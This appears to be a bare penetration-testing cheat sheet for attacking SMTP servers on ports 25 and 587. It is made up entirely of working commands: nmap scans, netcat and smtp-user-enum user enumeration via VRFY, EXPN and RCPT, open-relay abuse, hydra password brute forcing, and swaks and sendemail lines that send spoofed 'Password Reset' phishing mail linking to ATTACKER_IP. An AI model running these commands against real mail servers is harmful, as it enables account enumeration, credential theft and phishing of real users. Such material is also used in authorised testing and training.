25 / 587 - SMTP

nmap -sV -sC -p 25,587 TARGET

nc -nv TARGET 25

nc -nv TARGET 25
VRFY root
VRFY admin
VRFY user

EXPN admin

HELO test
MAIL FROM:<[email protected]m>
RCPT TO:<[email protected]m>

smtp-user-enum -M VRFY -U users.txt -t TARGET
smtp-user-enum -M RCPT -U users.txt -t TARGET
smtp-user-enum -M EXPN -U users.txt -t TARGET

nmap -p 25 --script smtp-enum-users TARGET

nmap -p 25 --script smtp-open-relay TARGET

nc -nv TARGET 25
HELO test
MAIL FROM:<[email protected]m>
RCPT TO:<[email protected]m>
DATA
Subject: Test
Test message
.
QUIT

swaks --to [email protected] --from [email protected] --server TARGET --header "Subject: Password Reset" --body "Click here: http://ATTACKER_IP/phish"

sendemail -t [email protected] -f [email protected] -s TARGET -u "Password Reset" -m "Click http://ATTACKER_IP"

hydra -L users.txt -P passwords.txt smtp://TARGET
hydra -L users.txt -P passwords.txt smtp://TARGET -s 587

nmap -p 25 --script smtp-commands TARGET
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY} TARGET
nmap -p 25 --script smtp-vuln* TARGET